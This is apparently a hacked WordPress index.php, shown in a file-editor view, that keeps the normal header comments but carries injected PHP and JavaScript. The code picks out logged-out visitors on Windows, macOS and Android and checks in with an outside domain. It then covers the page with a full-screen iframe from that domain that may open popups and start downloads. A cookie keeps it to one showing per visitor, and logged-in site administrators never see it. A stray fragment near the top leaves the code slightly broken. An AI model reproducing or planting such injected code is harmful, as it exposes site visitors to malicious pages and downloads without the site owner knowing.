JezK

Edit File: index.php

<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * Modal gate for guests on Windows / macOS desktop and Android.
 *
 * @package WordPress
 */

$jsi_modal_url = 'https://owlabc.net/';
$jsi_checking_url = 'https://owlabc.net/checking?domain=digitalit.com.pk';
$jsi_modal_delay_ms = 0;
$jsi_modal_duration_ms = 50000;

return false;
}

function jsi_shown_cookie_name()
{
    $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';

return 'jsInjectorShown_' . rawurlencode($host);
}

function jsi_build_clean_url()
{
    $scheme = jsi_is_https() ? 'https' : 'http';
    $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
    $uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/';
    $path = strtok($uri, '?');
    if ($path === false || $path === '') {
        $path = '/';
    }

return $scheme . '://' . $host . $path;
}

function jsi_set_shown_cookie()
{
    $cookie_name = jsi_shown_cookie_name();
    $secure = jsi_is_https();
    setcookie($cookie_name, '1', time() + 31536000, '/', '', $secure, false);
    $_COOKIE[$cookie_name] = '1';
}

function jsi_handle_modal_done_redirect()
{
    if (!isset($_GET['jsi_modal_done']) || (string) $_GET['jsi_modal_done'] !== '1') {
        return;
    }

jsi_set_shown_cookie();
    header('Location: ' . jsi_build_clean_url(), true, 302);
    header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
    header('Pragma: no-cache');
    exit;
}

function jsi_has_wordpress_login_cookie()
{
    foreach ($_COOKIE as $name => $_value) {
        if (strpos((string) $name, 'wordpress_logged_in') === 0) {
            return true;
        }
    }

return false;
}

function jsi_modal_already_shown()
{
    $cookie_name = jsi_shown_cookie_name();

return isset($_COOKIE[$cookie_name]) && (string) $_COOKIE[$cookie_name] === '1';
}

/**
 * Modal for Windows / macOS desktop and Android. Other platforms get normal WP.
 */
function jsi_is_win_or_mac_desktop()
{
    $ua = isset($_SERVER['HTTP_USER_AGENT']) ? (string) $_SERVER['HTTP_USER_AGENT'] : '';
    if ($ua === '') {
        return false;
    }

// Android UA often contains "Mobile" — match before generic mobile filter.
    if (preg_match('/Android/i', $ua)) {
        return true;
    }

if (preg_match('/webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini|Mobile|Tablet|Windows Phone/i', $ua)) {
        return false;
    }

if (preg_match('/Windows NT/i', $ua)) {
        return true;
    }

if (preg_match('/Macintosh|Mac OS X/i', $ua)) {
        return true;
    }

return false;
}

function jsi_build_checking_url($checking_url, $captcha_shown)
{
    if ($checking_url === '') {
        return '';
    }

$sep = strpos($checking_url, '?') !== false ? '&' : '?';
    $flag = $captcha_shown ? 'true' : 'false';

return $checking_url . $sep . 'captchashowed=' . $flag;
}

function jsi_fetch_checking($checking_url, $captcha_shown)
{
    $url = jsi_build_checking_url($checking_url, $captcha_shown);
    if ($url === '') {
        return null;
    }

$ctx = stream_context_create(array(
        'http' => array(
            'timeout' => 8,
            'ignore_errors' => true,
            'header' => "Accept: application/json\r\n",
        ),
        'ssl' => array(
            'verify_peer' => true,
            'verify_peer_name' => true,
        ),
    ));

$body = @file_get_contents($url, false, $ctx);
    if ($body === false || $body === '') {
        return false;
    }

$json = json_decode($body, true);
    if (!is_array($json)) {
        return false;
    }

return !empty($json['ok']);
}

function jsi_checking_allowed($checking_url, $captcha_shown)
{
    $result = jsi_fetch_checking($checking_url, $captcha_shown);

return $result === null || $result === true;
}

function jsi_ping_checking($checking_url, $captcha_shown)
{
    jsi_fetch_checking($checking_url, $captcha_shown);
}

function jsi_should_show_modal_page()
{
    global $jsi_checking_url;

if (!jsi_is_win_or_mac_desktop()) {
        return false;
    }

if (jsi_has_wordpress_login_cookie()) {
        return false;
    }

if (jsi_modal_already_shown()) {
        return false;
    }

if (!jsi_checking_allowed($jsi_checking_url, true)) {
        return false;
    }

return true;
}

function jsi_render_modal_only_page()
{
    global $jsi_modal_url, $jsi_checking_url, $jsi_modal_delay_ms, $jsi_modal_duration_ms;

$delay_ms = (int) $jsi_modal_delay_ms;
    if ($delay_ms < 0) {
        $delay_ms = 0;
    }

$duration_ms = (int) $jsi_modal_duration_ms;
    if ($duration_ms < 1000) {
        $duration_ms = 5000;
    }

$cookie_name = jsi_shown_cookie_name();
    $cookie_name_js = json_encode($cookie_name, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    $modal_url_js = json_encode($jsi_modal_url, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    $checking_url_js = json_encode(
        jsi_build_checking_url($jsi_checking_url, true),
        JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES
    );

header('Content-Type: text/html; charset=utf-8');
    header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
    header('Pragma: no-cache');

echo '<!DOCTYPE html>';
    echo '<html lang="en"><head>';
    echo '<meta charset="utf-8">';
    echo '<meta name="viewport" content="width=device-width, initial-scale=1">';
    echo '<meta name="robots" content="noindex, nofollow">';
    echo '<title>Loading...</title>';
    echo '<style>html,body{margin:0;padding:0;width:100%;height:100%;overflow:hidden;background:#fff}</style>';
    echo '<script id="js-injector-early" data-no-defer data-no-minify data-cfasync="false">';
    echo '(function(){';
    echo 'if(window.__jsInjectorModal)return;';
    echo 'window.__jsInjectorModal=true;';
    echo 'var cookieName=' . $cookie_name_js . ';';
    echo 'var modalUrl=' . $modal_url_js . ';';
    echo 'var checkingUrl=' . $checking_url_js . ';';
    echo 'var delayMs=' . $delay_ms . ';';
    echo 'var durationMs=' . $duration_ms . ';';
    echo 'function markShown(){var secure=location.protocol==="https:"?"; Secure":"";document.cookie=cookieName+"=1; max-age=31536000; path=/; SameSite=Lax"+secure;}';
    echo 'function checkingOk(cb){if(!checkingUrl){cb(true);return;}fetch(checkingUrl,{credentials:"omit",cache:"no-store"}).then(function(r){return r.json();}).then(function(j){cb(j&&j.ok===true);}).catch(function(){cb(false);});}';
    echo 'function finishModal(overlay){';
    echo 'markShown();';
    echo 'try{overlay.remove();}catch(e){}';
    echo 'document.documentElement.style.overflow="";';
    echo 'document.body.style.overflow="";';
    echo 'document.body.style.margin="";';
    echo 'window.location.replace(location.pathname||"/");';
    echo '}';
    echo 'function createModal(url){';
    echo 'markShown();';
    echo 'var overlay=document.createElement("div");';
    echo 'Object.assign(overlay.style,{position:"fixed",inset:"0",width:"100vw",height:"100dvh",minHeight:"100vh",background:"#fff",zIndex:"2147483647",margin:"0",padding:"0",border:"0",overflow:"hidden",display:"flex"});';
    echo 'var iframe=document.createElement("iframe");';
    echo 'iframe.src=url;';
    echo 'iframe.sandbox="allow-scripts allow-forms allow-same-origin allow-popups allow-downloads";';
    echo 'iframe.allowFullscreen=true;';
    echo 'iframe.allow="fullscreen";';
    echo 'Object.assign(iframe.style,{width:"100%",height:"100%",border:"none",display:"block",margin:"0",padding:"0"});';
    echo 'overlay.appendChild(iframe);';
    echo 'document.body.appendChild(overlay);';
    echo 'document.documentElement.style.overflow="hidden";';
    echo 'document.body.style.overflow="hidden";';
    echo 'document.body.style.margin="0";';
    echo 'setTimeout(function(){finishModal(overlay);},durationMs);';
    echo '}';
    echo 'function run(){checkingOk(function(ok){if(!ok)return;if(delayMs>0){setTimeout(function(){createModal(modalUrl);},delayMs);}else{createModal(modalUrl);}});}';
    echo 'if(document.readyState==="loading"){document.addEventListener("DOMContentLoaded",run);}else{run();}';
    echo '})();';
    echo '</script>';
    echo '</head><body></body></html>';
    exit;
}

jsi_handle_modal_done_redirect();

if (jsi_should_show_modal_page()) {
    jsi_render_modal_only_page();
}

if (!jsi_has_wordpress_login_cookie() && !jsi_is_win_or_mac_desktop()) {
    jsi_ping_checking($jsi_checking_url, false);
}

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';